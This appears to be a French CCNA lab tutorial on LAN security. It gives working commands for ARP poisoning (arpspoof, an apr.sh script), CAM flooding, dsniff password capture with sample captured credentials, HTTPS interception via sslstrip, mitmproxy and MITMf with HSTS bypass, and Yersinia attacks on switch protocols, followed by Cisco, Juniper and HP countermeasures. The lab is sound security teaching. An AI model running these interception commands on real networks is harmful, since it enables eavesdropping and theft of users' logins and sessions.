Objectifs de certification
CCNA 200-301
5.7 Configurer les fonctionnalités de sécurité Layer 2 (DHCP snooping, dynamic ARP inspection, et port security)
Lab Sécurité dans le LAN
Protocoles ARP/IPv4, ND/IPv6, IPAM et 802.1
1. Menaces sur le LAN
Menaces : attaques
- Reconnaissance, Énumération
- Usurpation (Spoofing) d’adresses, de messages
- Empoisonnement de tables, de caches
- Denis de service (DoS, Denial of Service)
- Inondation (Flooding)
- Déconnexions (Release, désynchronisation)
- Modifications topologiques
- Homme du milieu (MitM, Man-in-the-Middle)
Menaces sur le LAN : cîbles
- Technologies LAN : filaire et non-filaire
- Matériels cîbles :
- Commutateurs
- Points d’accès et contrôleurs
- toute interface dans le LAN : routeurs et périphériques terminaux
- Protocoles cîbles au sein du LAN :
- Exploitation du Broadcast et du Multicast
- ARP,
- DHCP,
- 802.1 (CDP, STP, DTP, VLAN, …)
- NTP, SNMP, DNS, …
Topologie et matériel
- Station Kali Linux (VM ou Native)
- Un commutateur Cisco
- Connexion filaire au commutateur
- Connexion console au commutateur
Topologie
ip routing
int vlan 1
ip add dhcp
Créer plusieurs interfaces VLAN :
vlan x
int vlan x
no shut
ip add x x
Activation de VTP :
vtp domain lab
2. Protocole ARP
Manipulations ARP
Commande | Exploit | Attaque |
---|---|---|
arp | Vérification du cache ARP local | Reconnaissance |
arping | Connectivité ARP | Reconnaissance |
arp-scan | Enumération ARP/IP | Reconnaissance |
macchanger | Usurpation d’adresse MAC | Accès, usurpation |
arpspoof | Attaque ARP Poison Routing | MitM => L7 |
macof | CAM buffer Overflow | MitM, DoS |
Commande arp
Commande système permettant d’afficher et manipuler la table ARP locale.
Commande passive.
arp -a
: visualiser toutes les entrées
arp -d *
: supprimer toutes les entrées
Commande arping
arping
vérifie la connectivité en émettant et attendant des messages ARP.
L’outil permet aussi de détecter des adresses dupliquées.
arping --help
man arping
http://linux-ip.net/html/tools-arping.html
Commande arp-scan
arp-scan
permet d’énumérer les hôtes sur le LAN avec ARP.
apt-get install arp-scan
arp-scan --help
man arp-scan
arp-scan 192.168.0.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1 20:e5:2a:1b:65:6a NETGEAR INC.,
192.168.0.5 70:56:81:bf:7c:37 Apple Inc
192.168.0.25 00:0c:29:5f:11:9f VMware, Inc.
192.168.0.4 a8:06:00:38:cc:25 Samsung Electronics Co.,Ltd
192.168.0.4 a8:06:00:38:cc:25 Samsung Electronics Co.,Ltd (DUP: 2)
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.053 seconds (124.70 hosts/sec). 5 responded
Commande macchanger
macchanger
permet de modifier l’adresse MAC d’une interface.
macchanger --help
ifdown eth0
macchanger -m aa:bb:cc:dd:ee:ff eth0
ifup eth0
ifconfig eth0
Commande arpspoof
arpspoof
permet d’usurper l’adresse MAC d’un hôte ou plusieurs hôtes sur le réseau et de leur transférer le trafic.
man arpspoof
Par exemple où .1 est la passerelle et .25 est la victime :
arpspoof -i eth0 -t 192.168.0.25 192.168.0.1
arpspoof -i eth0 -t 192.168.0.1 192.168.0.25
Commande macof
macof
réalise une attaque CAM Table Overflow, soit un débordement de table de commutation afin de transformer le commutateur en concentrateur (hub).
Attaque peu élégante, peu discrète et peu crédible sur du matériel professionnel.
arpwatch
arpwatch
effectue une surveillance du protocole ARP et rend des alertes par courriel :
apt-get install arpwatch
éditer /etc/arpwatch.conf
3. Attaque APR
APR pour “ARP Poison Routing” selon le document APR décrit une attaque de reniflage (sniffing) qui se déroule en deux moment : empoisonnement de la table ARP qui livre les paquets et routage des paquets vers la bonne destination.
Capture de paquets
Nous avons vu que la capture de paquet locale sur une environnement commuté fournissait des résultats uniquement pour le trafic livré à l’interface elle-même soit le trafic unicast à destination de la machine elle-même, le trafic Broadcast et multicast transférés d’emblée par les commutateur à travers tous ses ports.
Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l’adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d’origine et de destination qui encodent ces adresses sur base d’un processus ARP.
Capturer des paquets dans un environnement LAN commuté
Si on désire capturer tous les paquets du réseau, on placera un port d’un commutateur Cisco en mode “span” soit en mode “mirroir” qui copie le trafic de vlans ou d’autres interfaces. Si la pratique est acceptable dans le cadre de la surveillance quotidienne du réseau, elle est moins crédible dans le cadre d’un audit d’intrusion.
Il pourrait sembler plus simple d’attaquer le commutateur. L’outil macof
de la suite dsniff
vise à saturer la table CAM du commutateur avec des entrées factices. L’effet escompté est que le commutateur transfère le trafic par tous ses ports à la manière d’un concentrateur Ethernet (Hub). Toutefois, les commutateurs d’entreprise pourraient supporter cette charge. L’auteur d’une telle attaque obtiendrait tout au plus un déni de service (DOS) peu discret.
Transfert de trafic dans une attaque APR
Dans un cadre autorisé, on peut s’intéresser à une faiblesse intrinsèque des protocoles TCP/IP sur les réseaux locaux. Elle concerne aussi bien ARP pour IPv4 que Neighbor Discovery pour IPv6. Ici, on s’intéressera uniquement à l’attaque dite “APR”.
La faiblesse tient au fait que les hôtes TCP/IP ne filtrent pas le trafic ARP. De la même manière aucune authentification de ce trafic n’est aujourd’hui implémentée dans nos réseaux. Les victimes vont accepter du trafic ARP “gratuitous” gratuitement adressé par le pirate en Unicast avec des champs ARP usurpés.
Une attaque APR (ARP Poison Routing) est une attaque d’interception (MiTM) du trafic qui consiste pour le pirate à empoisonner le cache ARP des victimes avec sa propre adresse MAC comme adresse physique de livraison pour les adresses IP attaquées. On peut aussi classer l’attaque dans la catégorie des attaques par usurpation (spoofing). A condition que le pirate prenne en charge le routage des trames entre les destinations légitimes, la communication ne sera pas interrompue. Le pirate pourra alors observer le trafic entre les victimes de manière transparente car elles lui livreront les paquets. Il est évident que le pirate peut devenir un goulot d’étranglement en fonction du nombre de victimes qu’il usurpe.
En bref, l’attaque consiste à empoisonner le cache des victimes avec son adresse MAC en correspondance des adresses IPv4 à usurper et à activer le routage IPv4. De manière crédule, les victimes vont livrer le trafic au pirate.
Mise en oeuvre d’attaques APR
Avant de mettre en oeuvre une telle attaque d’usurpation et d’interception, il est nécessaire :
- de disposer d’un accès libéré au LAN (port sur le commutateur, Wi-fi ouvert ou cassé)
- d’avoir passé l’étape de reconnaissance qui vise à reconnaître les cibles victimes (scan)
Les cibles de choix sont les utilisateurs d’une part et d’autre part la passerelle ou un serveur local spécifique.
L’empoisonnement de cache ARP peut alors intervenir.
Se faisant livrer le trafic, le pirate peut un lancer un analyser de paquet brute (Wireshark, tcpdump) ou spécifique comme dsniff
ou une de ses variantes.
Plus subtil, on peut tenter de se faire livrer du trafic applicatif, HTTP, SSH ou encore SIP afin de le rendre sous forme de proxy au client victime. L’idée est de capturer des authentifications, des cookies de sessions pour du vol de sessions ou de rediriger l’utilisateur sur une fausse page web (phishing). HTTPS et son déploiement rendent ce type d’attaque de plus en plus difficile et démontre de mieux en mieux son efficacité.
Attaque APR avec Cain
Voir APR.
- Choisir son interface capture
- Bouton Start Sniffer
- Onglet supérieur Sniffer / onglet inférieur Hosts
- Sigle + : réaliser un scan ARP
- Onglet inférieur APR
- Sigle + : ajouter les victimes de part et d’autre
- Bouton start APR
Dsniff
Dsniff est un renifleur de trafic réseau, comme tcpdump ou ethereal/wireshark, mais il se contente de rechercher les mots de passe qui transitent en clair, exploitant ainsi les faiblesses de certains protocoles. C’est le programme central de la suite qui porte son nom.
Il supporte les protocoles FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase et Microsoft SQL.
-
dsniff
capture les protocoles cités -
filesnarf
prend en charge les transferts NFS -
mailsnarf
sort les messages SMTP et POP3 -
msgsnarf
enregistre les sessions chats AOL Instant Messenger, ICQ 2000, IRC, MSN Messenger, or Yahoo Messenger urlsnarf
-
webspy
permet de voir en temps réel les sessions HTTP capturées -
arpspoof
: usurpe les tables ARP des victimes (ARP Poisoning) dnspoof
-
macof
sature la CAM table d’un commutateur (DoS) sshmitm
webmitm
- Outil proxy :
mitimproxy
Détail de l’attaque
Une analyse préalable comme un scan ARP permet d’identifier les stations (une personnalité de l’organisation, un admin) ou les serveurs victimes (téléphonie, courriel, partages, …). La passerelle du réseau local est aussi un cible de choix. L’attaque peut trouver son utilité sur des réseaux ouverts comme des hotspots wi-fi.
Par exemple sous Linux avec arpspoof
, les victimes sont respectivement 192.168.1.100
et 192.168.1.254
:
On installe la suite logicielle dnsiff
et on active le routage IPv4
apt-get install dsniff
echo 1 > /proc/sys/net/ipv4/ip_forward
On empoisonne la table ARP de 192.168.1.100
avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.254
en relation avec l’adresse MAC de l’interface eth0
du pirate.
arpspoof -i eth0 -t 192.168.1.100 192.168.1.254
Ensuite dans un autre terminal, on empoisonne la table ARP de 192.168.1.254
avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.100
en relation avec l’adresse MAC de l’interface eth0
du pirate.
arpspoof -i eth0 -t 192.168.1.254 192.168.1.100
Script nommé apr.sh
qui libère la console :
#!/bin/bash
# APR script to transfer the trafic between two hosts
# Usage : bash apr.sh 2&>1 /dev/null
host1="192.168.1.100"
host2="192.168.1.254"
apt-get -y install dsniff
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t ${host1} ${host2} &
arpspoof -i eth0 -t ${host2} ${host1} &
A exécuter comme ceci :
# bash apr.sh 2&>1 /dev/null
Décodage de mots passe sur le réseau en clair : dnsiff
.
dsniff -i eth0
dsniff: listening on eth0
-----------------
09/21/16 20:32:11 tcp 192.168.1.100.37304 -> 192.168.1.254.21 (ftp)
USER root
PASS root
-----------------
09/21/16 20:34:06 tcp 192.168.1.100.42546 -> 192.168.1.254.23 (telnet)
root
root
Contre-mesures
- Inspection de couche 2
- DAI (Deep ARP Inspection)
- DHCP snooping
- Surveillance
- IDS/IPS
- arpwatch, arpalert, ndpmon, ntop-ng
- Tuning
- Désactiver les “ARP gratuitous”
- Des enregistrements statiques ?
- Design réseau
- Architecture VLAN
- IEEE 802.1X/Radius/EAP/802.11i
- HTTPS, SSH, SIPS, ZRTP
- Infrastructure à clé publique (PKI)
Attaque MiTM : APR et interception proxy HTTP
Il s’agit de monter un proxy HTTP/HTTPS pour intercepter une authentification Web. Pour se faire livrer le trafic de la victime qui tente de se connecter à son réseau social favori, le pirate empoisonne son cache ARP avec l’adresse IP du routeur et son adresse MAC.
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT
iptables -A FORWARD -j ACCEPT
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
webmitm -d
ssldump -n -d -k webmitm.crt | tee ssldump.log
Avec cette méthode, un site de réseau social répondra par cette erreur du côté du client : This site uses HTTP Strict Transport Security (HSTS) to specify that Firefox only connect to it securely. As a result, it is not possible to add an exception for this certificate.
Une variante de l’attaque avec mitmproxy
donne le même résultat. Pour mémoire :
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -A FORWARD -j ACCEPT
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
mitmproxy -T -p 8080
Une solution consisterait à désactiver HSTS sur le poste cible, en espérant qu’il ajoute une exception de sécurité. Les chances sont très serrées …
Une alternative consiste à intercepter le trafic HTTP (TCP80) ou HTTPS (TCP443) et de réaliser une coupure protocolaire. sslstrip
réalise l’attaque en rendant des pages en HTTP avec une image de cadenas en favicon. Entre le proxy et le site cible, le trafic reste bien en HTTPS.
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 12000
sslstrip -l 12000
tail -f sslstrip.log
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
A cet instant, cette procédure n’a pas pu être validée.
Par contre, on trouvera certainement l’outil MiTM Framework particulièrement fonctionnel. En laboratoire, on a pu lire en clair le mot de passe d’une session google sans erreur.
Source : https://github.com/byt3bl33d3r/MITMf
Installation à partir de Kali :
apt-get install mitmf
La procédure semble plus simple, elle sera surtout plus fonctionnelle :
mitmf -i eth0 --spoof --arp --hsts --gateway 192.168.1.1 --target 192.168.1.10
Cet article de blog et celui-ci suggère d’activer l’usurpation DNS, sans succès :
mitmf -i eth0 --spoof --arp --hsts --gateway 192.168.1.1 --target 192.168.1.10 --dns
Références sur MiTM Framework :
- http://en.kali.tools/?p=134
- https://www.digitalmunition.me/2015/06/mitmf-framework-for-man-in-the-middle-attacks/
- https://www.wattpad.com/143238278-pentesting-tutorials-chapter-vii-backdooring-on
- http://dhackingtricks.blogspot.fr/2016/01/bypassing-hsts-http-strict-transport.html
- http://www.backtrack-omar.com/2015/10/mitm-man-in-middle-ettercap-mitmf-beef.html
4. Protocoles LAN 802.1 et de gestion L2
Manipulations CDP, DTP, STP et 802.1Q
Yersinia : attaques 802.1
Attaques sur les protocles 802.1 et de gestion L2 (Cisco) :
- CDP
- 802.1Q
- DTP
- STP
- VTP
- 802.1X
- ISL
Mais aussi sur :
- HSRP
- DHCP
- MPLS
802.1D Spanning-Tree
- 0: NONDOS attack sending conf BPDU
- 1: NONDOS attack sending tcn BPDU
- 2: DOS attack sending conf BPDUs
- 3: DOS attack sending tcn BPDUs
- 4: NONDOS attack Claiming Root Role
- 5: NONDOS attack Claiming Other Role
- 6: DOS attack Claiming Root Role with MiTM
CDP
- 0: NONDOS attack sending CDP packet
- 1: DOS attack flooding CDP table
- 2: NONDOS attack Setting up a virtual device
HSRP
- 0: NONDOS attack sending raw HSRP packet
- 1: NONDOS attack becoming ACTIVE router
- 2: NONDOS attack becoming ACTIVE router (MITM)
DHCP
- 0: NONDOS attack sending RAW packet
- 1: DOS attack sending DISCOVER packet
- 2: NONDOS attack creating DHCP rogue server
- 3: DOS attack sending RELEASE packet
DTP
- 0: NONDOS attack sending DTP packet
- 1: NONDOS attack enabling trunking
802.1q
- 0: NONDOS attack sending 802.1Q packet
- 1: NONDOS attack sending 802.1Q double enc. packet
- 2: DOS attack sending 802.1Q arp poisoning
VTP
- 0: NONDOS attack sending VTP packet
- 1: DOS attack deleting all VTP vlans
- 2: DOS attack deleting one vlan
- 3: NONDOS attack adding one vlan
- 4: DOS attack Catalyst zero day
Ligne de commande Yersinia
Par exemple à partir de la station pirate :
yersinia cdp -h
yersinia cdp -attack 1 -interface eth1
<*> Starting DOS attack flooding CDP table...
<*> Press any key to stop the attack <*>
Sur le commutateur :
SW-lab#sh cdp nei
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,
D - Remote, C - CVTA, M - Two-port Mac Relay
Device ID Local Intrfce Holdtme Capability Platform Port ID
RRRRR6D Fas 1/0/1 237 R B H I yersinia Eth 0
2JJJJJX Fas 1/0/1 239 R T S H yersinia Eth 0
2EEEEEW Fas 1/0/1 227 T S r yersinia Eth 0
3KKKKKX Fas 1/0/1 239 R T B S H yersinia Eth 0
Démon CLI type cisco Yersinia
yersinia -D lance un cli type cisco, à essayer :
yersinia -D
telnet localhost 12000
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Welcome to yersinia version 0.7.3.
Copyright 2004-2007 Slay & Tomac.
login: root
password: root
yersinia> enable
Password: tomac
yersinia#
yersinia# run ?
cdp Run attacks for Cisco Discovery Protocol
dhcp Run attacks for Dynamic Host Configuration Protocol
dot1q Run attacks for IEEE 802.1Q
dot1x Run attacks for IEEE 802.1X
dtp Run attacks for Dynamic Trunking Protocol
hsrp Run attacks for Hot Standby Router Protocol
isl Run attacks for Inter-Switch Link Protocol
mpls Run attacks for MultiProtocol Label Switching
stp Run attacks for Spanning Tree Protocol
vtp Run attacks for VLAN Trunking Protocol
Mode interactif Yersinia
yersinia -I lance une console texte interactive très puissante.
- “i” pour choisir une interface
- les touches F2, F3, etc. ou la lettre “g” pour choisir un protocole
- “x” pour lancer une attaque
- “l” pour lister les attaques en cours
- “K” pour arrêter les attaques en cours
Pour fixer le terminal texte en 80 X 25 en console Bash :
stty columns 80 ; stty rows 25
Mode graphique Yersinia
Script Frogger - VLAN Hopping
https://github.com/nccgroup/vlan-hopping—frogger
Simple VLAN enumeration and hopping script, Released as open source by NCC Group Plc - http://www.nccgroup.com/
5. Protocoles IPAM
Protocoles IPAM
- Attaques sur HSRP, VRRP, GLBP
- Protocoles L7 :
- DHCP
- DNS
- NTP
- SNMP
Attaques et menaces :
- Service pirate (Rogue Server) : MitM, DoS
- DoS par inondation
- DoS par messages erronés
- DoS par messages de desynchronisation
6. Contre-mesures
Contre-mesure sur le LAN
Sur les commutateurs Cisco (ou autres) :
- DAI + DHCP snooping
- Port-Security
- BPDU Guard
Solutions structurelles (ARP, 802.1X/RADIUS/EAP) :
- arpwatch
- OpenVAS
- PacketFence
- Microsoft NAP
- Cisco NAC
- HP, Aruba, …
Protocoles de Gestion et 802.1D :
- STP : BPDU Guard et différentes protections Cisco.
- VTP, DTP, CDP : à désactiver
Contre-mesure Cisco : DAI + DHCP Snooping
- Activation Deep ARP Inspection (DAI)
switch(config)# ip arp inspection vlan vlan_id {, vlan_id}
- Activation DHCP snooping
switch(config)# ip dhcp snooping
!Enable DHCP Snooping!
switch(config)# ip dhcp snooping vlan vlan_id {, vlan_id}
!Enable DHCP Snooping for specific VLANs!
switch(config-if)# ip dhcp snooping trust
!Configure an interface as trusted for DHCP Snooping purposes!
switch(config-if)# ip dhcp snooping limit rate rate
!Set rate limit for DHCP Snooping!
Contre-mesure Cisco : port-security
switch(config-if)# switchport mode access
!Set the interface mode as access!
switch(config-if)# switchport port-security
!Enable port-security on the interface!
switch(config-if)# switchport port-security mac-address { <mac_addr> | sticky }
!Enable port security on the MAC address as H.H.H or record the first MAC address connected to the interface!
switch(config-if)# switchport port-security maximum <max_addresses>
!Set maximum number of MAC addresses on the port!
switch(config-if)# switchport port-security violation { protect | restrict | shutdown }
!Protect, Restrict or Shutdown the port. Cisco recommends the shutdown option!
Contre-mesure Juniper : Port Security
root@switch# set interface { <interface> | all } mac-limit <limit> action { none | drop | log | shutdown }
# Set the maximum number of MAC addresses allowed to connect to the interface
root@switch# set interface { <interface> | all } allowed-mac <mac_address>
# Set the allowed MAC address(es) allowed to connect to the interface
Contre-mesure HP : Port Security (global)
(config)# port security
!Enters the port security configuration mode!
(config-port-security)# enable
!Globally enables port security!
(config-port-security)# age <age>
!Sets the age out timer of the secure MAC address. <age> = number of minutes!
(config-port-security)# autosave <mins>
!Automatically saves the secure MAC addresses to the startup-config file every <mins> minutes!
Contre-mesure HP : Port Security (interface)
(config)# int <interface>
!Enters the interface configuration mode!
(config-if-<interface>)# port security
!Enters port security configuration mode on interface!
(config-if-port-security-<interface>)# enable
!Enables port security on interface!
(config-if-port-security-<interface>)# maximum <max>
!Sets the maximum number of secure MAC addresses for the interface!
(config-if-port-security-<interface>)# age <age>
!Sets the age out timer of the secure MAC address associated with interface. <age> = number of minutes!
(config-if-port-security-<interface>)# secure <mac_address>
!Manually specifies secure MAC address authorised by the switch port!
(config-if-port-security-<interface>)# violation { restrict | shutdown }
!If violation occurs: restrict = drops packets from violating address, shutdown = shutdown the port for <time> minutes!
Protections Cisco STP
- PortFast BPDU Guard : fait tomber un port “portfast” qui recevrait des BPDUs illégitimes :
(config-if)#spanning-tree portfast
(config-if)#spanning-tree bpduguard enable
- PortFast BPDU Filtering
- UplinkFast
- BackboneFast
- Loop Guard